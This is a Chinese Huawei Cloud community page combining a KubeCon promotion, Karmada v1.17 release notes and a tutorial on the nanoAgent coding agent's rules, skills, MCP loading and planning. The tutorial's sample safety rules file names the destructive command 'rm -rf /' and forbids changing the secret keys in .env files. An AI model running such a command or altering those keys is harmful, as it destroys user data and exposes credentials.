3月23日-26日,华为云重磅参会全球云原生与开源旗舰会议KubeCon + CloudNativeCon Europe 2026。本届大会于荷兰阿姆斯特丹召开,华为云将围绕云原生AI、LLM Inference、 AI Agent 等方向带来议题分享与展览展示,提供面向Agentic AI的 “智能原生” 基础设施解决方案,与全球开发者及行业领袖共探开源创新与产业发展的无限可能。 更多云原生技术动向关注容器魔方 【更多华为云云原生干货推荐】华为云云原生王者之路集训营华为云云原生王者之路集训营为帮助广大技术爱好者快速掌握云原生相关技能,华为云云原生团队与华为云学院联合CNCF开源软件大学启动人才培养计划,推出《华为云云原生王者之路集训营》,从云原生基础知识介绍到最佳实践讲解、底层原理和方案架构深度剖析,层层深入,满足不同云原生技术基础和学习目标人群的需求。本课程还精选数十个企业典型应用场景,作为学员上机实践案例,帮助学员将所学技术快速与企业业务相结合,服务于企业生产。点击免费参加华为云云原生王者之路集训营:cid:link_3 学习后记得小试牛刀,看看测评效果~ 华为云云原生王者之路-黄金课程测评 华为云云原生王者之路-钻石课程测评 华为云云原生王者之路-王者课程测评
-
Karmada 是开放的多云多集群容器编排引擎,旨在帮助用户在多云环境下部署和运维业务应用。凭借兼容 Kubernetes 原生 API 的能力,Karmada 可以平滑迁移单集群工作负载,并且仍可保持与 Kubernetes 周边生态工具链协同。Karmada v1.17[1] 版本现已发布,本版本包含下列新增特性:工作负载亲和与反亲和调度Dashboard v0.3.0 发布持续的性能优化这些特性使 Karmada 在处理大规模、复杂的多集群场景时更加成熟和可靠。我们鼓励您升级到 v1.17.0,体验这些新功能带来的价值。 新特性概览 支持工作负载亲和与反亲和调度在多集群场景下,大量应用对工作负载之间的部署位置存在明确诉求,以实现高可用、低延迟、成本优化与运维隔离等目标。为满足这类精细化部署需求,本版本正式推出工作负载亲和与反亲和调度能力,让你能够精细控制工作负载在多集群间的拓扑关系。工作负载亲和(Workload Affinity)将存在关联的工作负载(如微服务与其缓存、分布式训练任务等)调度到同一集群。核心价值:降低跨集群网络延迟,显著提升性能敏感型应用的运行效率。典型场景:服务与依赖组件同集群部署、训练任务组件就近调度。工作负载反亲和(Workload Anti-Affinity)将同一逻辑组的工作负载分散到不同集群。核心价值:避免单集群故障导致关键应用整体不可用,强化多集群高可用保障。典型场景:核心服务多集群分散、多副本跨集群容灾。使用方式只需在 PropagationPolicy 中添加 workloadAffinity 配置,即可基于资源模板上的标签定义亲和组,实现工作负载的同集群部署或跨集群分散。让我们举一个工作负载亲和性的例子,假设您有一组训练任务,为了达到最佳的训练效果,您希望这一组训练任务的作业能在同一个集群上运行,您可以这样配置。启用工作负载亲和与反亲和调度功能后,Karmada 会将具有相同 app.training-group 标签值的训练任务调度到同一个集群。再来看一个工作负载反亲和性的例子,假设您运行着对停机时间非常敏感的 Flink 数据处理任务,为了保证高可用,您会部署多套相同的 Flink 任务副本。为了避免因单个集群故障导致服务完全中断,您希望同一任务的多个副本分散到不同集群上运行,您可以这样配置。启用工作负载亲和与反亲和调度功能后,Karmada 会将具有相同 karmada.io/group 标签值的 Flink 任务调度到不同集群,效果图如下:更多有关此功能的资料请参考:工作负载亲和性[2]。Dashboard v0.3.0 发布Karmada Dashboard 是一款专为 Karmada 用户设计的图形化界面工具,旨在简化多集群管理的操作流程,提升用户体验。通过 Dashboard,用户可以直观地查看集群状态、资源分布以及任务执行情况,同时还能轻松完成配置调整和策略部署。经过社区开发者的共同努力,Karmada Dashboard v0.3.0 正式发布!本次更新带来智能助手、成员集群管理等能力,多集群运维体验全面升级,更易用、更稳定、更智能!Karmada Dashboard v0.3.0 主要功能包括:智能化运维:深度集成 MCP (Model Context Protocol) 与 LLM,推出智能聊天助手。支持自然语言交互,实时响应与工具能力扩展,让多集群管理更加智能!成员集群管理能力增强:新增成员集群专用仪表盘,支持实时日志查看和终端交互,实现对子集群的精细化掌控。界面优化:采用更现代化的 UI 组件 Ant Design v6 同时升级至 React 19,界面更加美观;优化数据请求与构建性能,提升交互体验与运行效率。安全性和稳定性增强:引入全面的 E2E 测试框架维护基本功能特性,并自动升级安全依赖,减少安全风险。下面是 Karmada Dashboard v0.3.0 新版界面展示, 可以在顶部导航栏上切换成员集群,无缝切换到成员集群:更多有关 Karmada Dashboard 的资料请参考:Karmada Dashboard[3]持续的性能优化在此版本中,性能优化团队继续增强 Karmada 的性能,对控制器进行了如下改进:控制器优先级队列(ControllerPriorityQueue)特性升级至 Beta 并默认启用控制器优先级队列特性自 v1.15 版本首次推出后,历经两个版本的持续迭代与严格测试,能力已趋于成熟,本次版本正式将其升级为 Beta 版,并默认开启该特性。基于此特性,Karmada 控制器能够在重启或切主后立即响应并优先处理用户触发的资源变更,从而显著缩短服务重启和计划性升级过程中的停机时间。依赖资源分发能力性能优化通过消减并发更新依赖资源相关的 ResourceBinding 所产生的 API 冲突,依赖资源跟随分发的效率得到了显著的提升。测试环境包括 30,000 个 Workload 及其 PropagationPolicy,以及 30,000 个 ConfigMap 作为 Workload 依赖的资源。该优化将控制器首次启动的队列处理时间从20 分钟以上大幅缩短至约 5 分钟,显著提升了大规模集群下的系统响应速度。有关详细的优化内容和测试报告,请参阅 PR: [Performance] optimize the mechanism of create or update dependencies-distribute resourcebinding[4]。 致谢贡献者 Karmada v1.17 版本包含了来自 32 位贡献者的 264 次代码提交,在此对各位贡献者表示由衷的感谢: 相关链接[1] Karmada v1.17: cid:link_0[2] 工作负载亲和性调度: https://karmada.io/zh/docs/next/userguide/scheduling/propagation-policy/#workloadaffinity%E5%B7%A5%E4%BD%9C%E8%B4%9F%E8%BD%BD%E4%BA%B2%E5%92%8C%E6%80%A7[3] Karmada Dashboard: cid:link_2[4] [Performance] optimize the mechanism of create or update dependencies-distribute resourcebinding: cid:link_1 扫码回复“Karmada” 进入技术群Karmada 是CNCF 首个多云多集群容器编排项目(孵化级),旨在帮助用户像使用单个集群一样轻松管理跨云多集群,让基于 Karmada 的多云方案无缝融入云原生技术生态。社区吸引了来自华为、道客、浙江大学、滴滴、腾讯、中国电子云等60多家公司的全球贡献者,广泛分布于22个国家和地区。Karmada 现已在华为云、道客、兴业数金、中国移动、中国联通、携程、360集团、新浪、中通快递等众多企业单位生产应用,为企业提供从单集群到多云架构的平滑演进方案。Karmada官网:https://karmada.io/项目地址:cid:link_3Slack地址:https://slack.cncf.io/(#karmada)
-
欢迎阅读「从零开始理解 Agent」系列文章——我们将通过一个不到 300 行的开源项目 nanoAgent[1],逐层拆解 OpenClaw / Claude Code 等 AI Agent 背后的全部核心概念。第一篇:底层原理,只有 115 行 —— 工具 + 循环第二篇:记忆与规划 —— 182 行第三篇:Rules、Skills 与 MCP(本文)—— 265 行第四篇:SubAgent 子智能体 —— 192 行第五篇:多智能体协作与编排 —— 270 行第六篇:上下文压缩 —— 169 行★ 项目地址:cid:link_4作者:十一在前两篇中,我们一步步构建了 Agent 的核心能力:第一篇[2]用 115 行代码搭好了"工具 + 循环"的地基;第二篇[3]用 67 行增量代码装上了记忆和规划。但在第二篇结尾,我们留下了三个未解之谜:工具是硬编码的,没有行为约束,规划是被动触发的。今天我们继续进化—— agent-claudecode.py[4](265 行)。如果你用过 OpenClaw 或 Claude Code,你对 CLAUDE.md 规则文件、.agent/skills/ 技能目录、MCP 工具配置一定不陌生——这些概念正是本篇要拆解的核心。agent-claudecode.py 在前两个版本的基础上,引入了四个新概念来回答那三个问题:一、三个版本全景对比先回顾整个进化路线:二、更精细的工具集:从"能用"到"好用"agent-claudecode.py 首先在基础工具上做了大幅扩充,从 3 个增加到 7 个:base_tools = [ {"name": "read", "description": "Read file with line numbers", ...}, {"name": "write", "description": "Write content to file", ...}, {"name": "edit", "description": "Replace string in file", ...}, # 新增 {"name": "glob", "description": "Find files by pattern", ...}, # 新增 {"name": "grep", "description": "Search files for pattern", ...}, # 新增 {"name": "bash", "description": "Run shell command", ...}, {"name": "plan", "description": "Break down complex task", ...} # 新增 ]新增的工具不是随意选择的——它们恰好对应了 Claude Code 的核心工具集。其中最值得深入分析的是 edit 和改进后的 read。edit:用约束引导 LLM 行为def edit(path, old_string, new_string): try: with open(path, 'r') as f: content = f.read() if content.count(old_string) != 1: return f"Error: old_string must appear exactly once" new_content = content.replace(old_string, new_string) with open(path, 'w') as f: f.write(new_content) return f"Successfully edited {path}" except Exception as e: return f"Error: {str(e)}"这个工具有一个精妙的约束:**old_string 必须在文件中恰好出现一次**。出现零次说明目标不存在,出现多次则无法确定该替换哪一处。这个"唯一性约束"迫使 LLM 在调用 edit 之前先用 read 或 grep 确认上下文,大大降低了误编辑的概率。对比第一篇中 agent.py 的 write_file(直接覆盖整个文件),edit 精确到了字符串级别——这正是 Claude Code 中 str_replace 工具的设计思路。★ 设计启示用工具的约束来引导 LLM 的行为,比在 prompt 中告诫"小心编辑"可靠得多。约束是硬性的,prompt 是软性的。read:行号 + 分页def read(path, offset=None, limit=None): try: with open(path, 'r') as f: lines = f.readlines() start = offset if offset else0 end = start + limit if limit else len(lines) numbered = [f"{i+1:4d}{line}"for i, line in enumerate(lines[start:end], start)] return ''.join(numbered) except Exception as e: return f"Error: {str(e)}"相比第一篇中简单的 read_file,这个版本支持 offset 和 limit 分页读取,还会给每行加上行号。行号看似微不足道,但对 LLM 配合 edit 使用时极其重要——LLM 可以精确定位"第 23 行附近的那段代码"。三、Rules:教 Agent "做人的规矩"3.1 加载与注入RULES_DIR = ".agent/rules" def load_rules(): rules = [] ifnot os.path.exists(RULES_DIR): return "" try: for rule_file in Path(RULES_DIR).glob("*.md"): with open(rule_file, 'r') as f: rules.append(f"# {rule_file.stem}\n{f.read()}") return "\n\n".join(rules) if rules else"" except: return ""Rules 是存放在 .agent/rules/ 目录下的 Markdown 文件。Agent 启动时全部加载,注入到 system prompt 中:if rules: context_parts.append(f"\n# Rules\n{rules}")3.2 Rules 是什么、怎么用你可以创建这样的规则文件:<!-- .agent/rules/code-style.md --> - 使用 Python 3.10+ 语法 - 所有函数必须有 docstring - 变量命名使用 snake_case - 不要使用 print 调试,使用 logging 模块<!-- .agent/rules/safety.md --> - 永远不要执行 rm -rf / 或类似的危险命令 - 修改文件前先备份 - 不要修改 .env 文件中的密钥3.3 Rules 的本质Rules 是项目级的 system prompt 扩展。它解决了一个关键问题:不同项目、不同团队、不同场景对 Agent 的要求不同。与其每次在对话中反复叮嘱"记得用 snake_case",不如写一次规则文件,永久生效。如果你用过 OpenClaw 或 Claude Code,你一定对 CLAUDE.md 不陌生——它就是 Rules 的工程化实现。在 Claude Code 中对应 CLAUDE.md 文件和 .claude/rules/ 目录,在 OpenClaw 中也沿用了相同的约定。在 Cursor 中是 .cursorrules,在 GitHub Copilot 中是 .github/copilot-instructions.md。名字不同,本质一样——用声明式文件定制 Agent 的行为边界。回顾第二篇中 agent-plus.py 的 system prompt 构建方式,当时只有"基础指令 + 记忆"两层。现在变成了三层拼接:最终 system prompt = 基础指令 + Rules(项目规则) + Skills(技能描述) + Memory(历史记忆)四、Skills:可插拔的技能注册4.1 加载与注入SKILLS_DIR = ".agent/skills" def load_skills(): skills = [] ifnot os.path.exists(SKILLS_DIR): return [] try: for skill_file in Path(SKILLS_DIR).glob("*.json"): with open(skill_file, 'r') as f: skills.append(json.load(f)) return skills except: return []Skills 是 .agent/skills/ 目录下的 JSON 文件,以列表摘要的形式注入 system prompt:if skills: context_parts.append( f"\n# Skills\n" + "\n".join( [f"- {s['name']}: {s.get('description', '')}"for s in skills] ) )一个 Skill 文件可能长这样:{ "name": "docker-deploy", "description": "Deploy application using Docker Compose. Steps: 1) Check Dockerfile exists, 2) Run docker-compose build, 3) Run docker-compose up -d, 4) Verify containers are running.", "triggers": ["deploy", "docker", "container"] }★ 关于 Skill 的文件格式: 在 OpenClaw / Claude Code 的实际实现中,Skill 的标准格式是 Markdown(每个 Skill 目录下有一个 SKILL.md,里面详细描述执行步骤、最佳实践、示例代码等)。但 nanoAgent 原始仓库中采用的是 JSON 格式,所以代码里用 json.load() 来解析。这不影响理解核心思路——不管是 Markdown 还是 JSON,本质都是"把技能描述加载出来注入到 system prompt"。格式只是载体,思想是一样的。4.2 Skills vs RulesRules 管约束,Skills 管能力。一个告诉 Agent "做人的底线",一个告诉 Agent "做事的方法"。五、MCP:让 Agent 拥有无限工具的协议5.1 什么是 MCP?回忆第一篇中 agent.py 的工具定义方式——直接在代码里硬编码。想加一个新工具?改代码、重新部署。这在生产环境中完全不可接受。MCP(Model Context Protocol)是 Anthropic 提出的一个开放标准,它定义了 LLM 与外部工具之间的通信协议。你可以把 MCP 理解为"AI 世界的 USB 接口"——任何遵循这个协议的工具服务都可以即插即用地接入 Agent。如果你用过 Claude Code,你一定在配置文件里见过 mcpServers 这个字段——配置一个 GitHub MCP Server,Agent 就能直接操作 PR 和 Issue;配置一个数据库 MCP Server,Agent 就能执行 SQL 查询。这就是 MCP 的威力。5.2 agent-claudecode.py 中的 MCP 实现MCP_CONFIG = ".agent/mcp.json" def load_mcp_tools(): ifnot os.path.exists(MCP_CONFIG): return [] try: with open(MCP_CONFIG, 'r') as f: config = json.load(f) mcp_tools = [] for server_name, server_config in config.get("mcpServers", {}).items(): if server_config.get("disabled", False): continue for tool in server_config.get("tools", []): mcp_tools.append({"type": "function", "function": tool}) return mcp_tools except: return []配置文件 .agent/mcp.json:{ "mcpServers": { "filesystem": { "disabled": false, "tools": [{ "name": "list_directory", "description": "List contents of a directory with metadata", "parameters": { "type": "object", "properties": {"path": {"type": "string"}}, "required": ["path"] } }] }, "database": { "disabled": true, "tools": [...] } } }5.3 MCP 的精髓:一行代码all_tools = base_tools + mcp_tools这一行是整个 MCP 集成的精髓。MCP 加载的工具和基础工具使用完全相同的 JSON Schema 格式,直接拼接成一个列表传给 LLM。LLM 完全不需要知道某个工具是"内置的"还是"MCP 加载的"——对它来说,工具就是工具。5.4 nanoAgent 简化了什么需要说明的是,nanoAgent 的 MCP 实现是高度简化的——它只实现了"工具注册"(把 schema 加载给 LLM),没有实现"工具执行"(通过网络调用远程 MCP Server)。实际调用时会走到 else 分支返回 "Tool not implemented":虽然不完整,但它展示了 MCP 集成的核心思路:工具定义与工具实现的分离。在完整实现中,那个 else 分支会变成一个 MCP 客户端调用。5.5 MCP 解决的根本问题没有 MCP 的世界: 有 MCP 的世界: Agent A Agent B MCP Server: Slack MCP Server: GitHub ├── Slack (自写) ├── Slack (自写) │ │ ├── GitHub(自写) ├── Jira (自写) └───── 标准协议 ──┘ └── DB (自写) └── DB (自写) │ ┌───────┼───────┐ 每个 Agent 各写各的 Agent A Agent B Agent C N × M 的工作量 工具实现一次,全部共享 N + M 的工作量六、Plan-as-Tool:规划从"被动触发"到"自主决策"6.1 进化路径回顾三个版本中,规划经历了清晰的进化: 在 agent-claudecode.py 中,plan 出现在工具列表里:{"name": "plan", "description": "Break down complex task into steps and execute sequentially", ...}这意味着 LLM 遇到复杂任务时可以主动调用 plan 工具进行拆解,无需用户干预。6.2 递归执行与防无限循环plan 工具的执行逻辑是整个文件最复杂的部分:if function_name == "plan": plan_mode = True function_response = available_functions[function_name](**function_args "function_name") messages.append({"role": "tool", "tool_call_id": tool_call.id, "content": function_response}) if current_plan: results = [] for i, step in enumerate(current_plan, 1): messages.append({"role": "user", "content": step}) result, messages = run_agent_step( messages, [t for t in tools if t["function"]["name"] != "plan"] # 关键:排除 plan ) results.append(result) plan_mode = False current_plan = [] return "\n".join(results), messages三个关键设计:递归调用 run_agent_step。 Plan 生成的每个步骤都通过 run_agent_step 执行,每步内部仍然可以使用 read、write、bash 等工具。这形成了一个两层循环——外层是规划步骤,内层是每步的 ReAct 循环。排除 plan 工具本身。 执行步骤时的工具列表中刻意去掉了 plan,配合 plan_mode 全局变量双重保护,防止"在规划中再次规划"的无限递归。上下文跨步共享。 和第二篇中一样,messages 在所有步骤间共享。 用户: "重构项目的测试框架" │ ▼ LLM 判断任务复杂 → 主动调用 plan 工具 │ ▼ plan() 返回 4 个步骤 │ ├── Step 1: 分析当前测试结构 │ └── run_agent_step() → [glob, read, grep] │ ├── Step 2: 创建新的测试目录 │ └── run_agent_step() → [bash, write] │ ├── Step 3: 迁移现有测试文件 │ └── run_agent_step() → [read, edit, write] │ └── Step 4: 验证所有测试通过 └── run_agent_step() → [bash]七、全部模块如何组装在一起 def run_agent_claudecode(task, use_plan=False): print("[Init] Loading ClaudeCode features...") # 1. 从文件系统加载所有外部配置 memory = load_memory() # 历史记忆 rules = load_rules() # 行为规则 skills = load_skills() # 技能注册 mcp_tools = load_mcp_tools() # MCP 外部工具 # 2. 合并工具列表(基础工具 + MCP 工具) all_tools = base_tools + mcp_tools # 3. 构建 system prompt(基础指令 + Rules + Skills + Memory) context_parts = ["You are a helpful assistant..."] if rules: context_parts.append(f"\n# Rules\n{rules}") if skills: context_parts.append(f"\n# Skills\n...") if memory: context_parts.append(f"\n# Previous Context\n{memory}") messages = [{"role": "system", "content": "\n".join(context_parts)}] # 4. 执行 ...┌─────────────────────── 文件系统 ───────────────────────┐ │ │ │ .agent/rules/*.md → load_rules() → system prompt │ │ .agent/skills/*.json → load_skills() → system prompt │ │ .agent/mcp.json → load_mcp_tools()→ tools 列表 │ │ agent_memory.md → load_memory() → system prompt │ │ │ └─────────────────────────────────────────────────────────┘ │ ▼ ┌──── Agent 运行时 ────┐ │ │ │ system prompt = │ │ 基础指令 │ │ + Rules │ │ + Skills │ │ + Memory │ │ │ │ tools = │ │ base_tools (7个) │ │ + mcp_tools (N个) │ │ │ └──────────────────────┘这个架构揭示了一个重要原则:Agent 的能力由两个正交维度定义prompt 维度(知道什么):Rules、Skills、Memory 扩展的是 LLM 的认知tools 维度(能做什么):MCP 扩展的是 LLM 的行动能力两者独立变化、自由组合,构成了 Agent 的完整能力空间。八、从 115 行到 265 行的认知地图三篇文章读下来,我们在 265 行代码里看到了 Agent 的全部核心概念。用一张七层架构图来做最后的回顾:┌───────────────────────────────────────────────────────┐ │ Agent 架构全景 │ │ │ │ ┌──────────────┐ 第三篇:agent-claudecode.py │ │ │ Rules │ 行为约束层 ──── .agent/rules/ │ │ │ Skills │ 技能知识层 ──── .agent/skills/ │ │ │ MCP │ 工具扩展层 ──── .agent/mcp.json │ │ │ Plan Tool │ 自主规划层 ──── plan() 作为工具 │ │ ├──────────────┤ 第二篇:agent-plus.py │ │ │ Memory │ 持久记忆层 ──── agent_memory.md │ │ │ Planning │ 任务分解层 ──── create_plan() │ │ │ Multi-step │ 多步编排层 ──── 步骤间上下文共享 │ │ ├──────────────┤ 第一篇:agent.py │ │ │ LLM │ 推理决策层 ──── OpenAI API │ │ │ Tools │ 工具执行层 ──── bash/read/write │ │ │ Loop │ 核心循环层 ──── for + tool_calls │ │ └──────────────┘ │ └───────────────────────────────────────────────────────┘每一层都在回答一个关键问题: 这七层架构,就是当今所有主流 Agent 框架(OpenClaw、Claude Code、Cursor Agent、Devin、OpenHands 等)的共同骨架。nanoAgent 用不到 300 行 Python 代码,把这个骨架完整地呈现了出来。九、结语 如果你跟着这三篇文章走了下来,你已经理解了 Agent 最核心的架构要素。但还有一个问题我们没有触及:当任务复杂到一个 Agent 忙不过来时怎么办?能不能让 Agent 自己找帮手?这就是多智能体协作——SubAgent 的领域。在 第四篇:SubAgent 子智能体 中,我们将用不到 30 行新增代码,让主 Agent 学会"分工派活"。★ "The question is not what you look at, but what you see." — Henry David ThoreaunanoAgent README 的这句引言,放在这里再合适不过。看过这 265 行代码之后,当你再打开 OpenClaw、Claude Code、Cursor 或任何 Agent 产品时,你看到的不再是"魔法",而是——一个循环、几个工具、一段记忆、一份规则。本文基于 sanbuphy/nanoAgent 的 agent-claudecode.py 分析。完整系列:第一篇:底层原理→ 第二篇:记忆与规划 → 第三篇:Rules、Skills 与 MCP(本文) → 第四篇:SubAgent 子智能体。相关链接 [1] nanoAgent: cid:link_4 [2] 第一篇: cid:link_2 [3] 第二篇: cid:link_3[ 4] agent-claudecode.py: cid:link_4/blob/main/agent-claudecode.py AGENT交流群,一起玩转AGENT
推荐直播
-
华为云码道-AI时代应用开发利器2026/03/18 周三 19:00-20:00
童得力,华为云开发者生态运营总监/姚圣伟,华为云HCDE开发者专家
本次直播由华为专家带你实战应用开发,看华为云码道(CodeArts)代码智能体如何在AI时代让你的创意应用快速落地。更有华为云HCDE开发者专家带你用码道玩转JiuwenClaw,让小艺成为你的AI助理。
回顾中 -
Skill 构建 × 智能创作:基于华为云码道的 AI 内容生产提效方案2026/03/25 周三 19:00-20:00
余伟,华为云软件研发工程师/万邵业(万少),华为云HCDE开发者专家
本次直播带来两大实战:华为云码道 Skill-Creator 手把手搭建专属知识库 Skill;如何用码道提效 OpenClaw 小说文本,打造从大纲到成稿的 AI 原创小说全链路。技术干货 + OPC创作思路,一次讲透!
回顾中 -
码道新技能,AI 新生产力——从自动视频生成到开源项目解析2026/04/08 周三 19:00-21:00
童得力-华为云开发者生态运营总监/何文强-无人机企业AI提效负责人
本次华为云码道 Skill 实战活动,聚焦两大 AI 开发场景:通过实战教学,带你打造 AI 编程自动生成视频 Skill,并实现对 GitHub 热门开源项目的智能知识抽取,手把手掌握 Skill 开发全流程,用 AI 提升研发效率与内容生产力。
回顾中
热门标签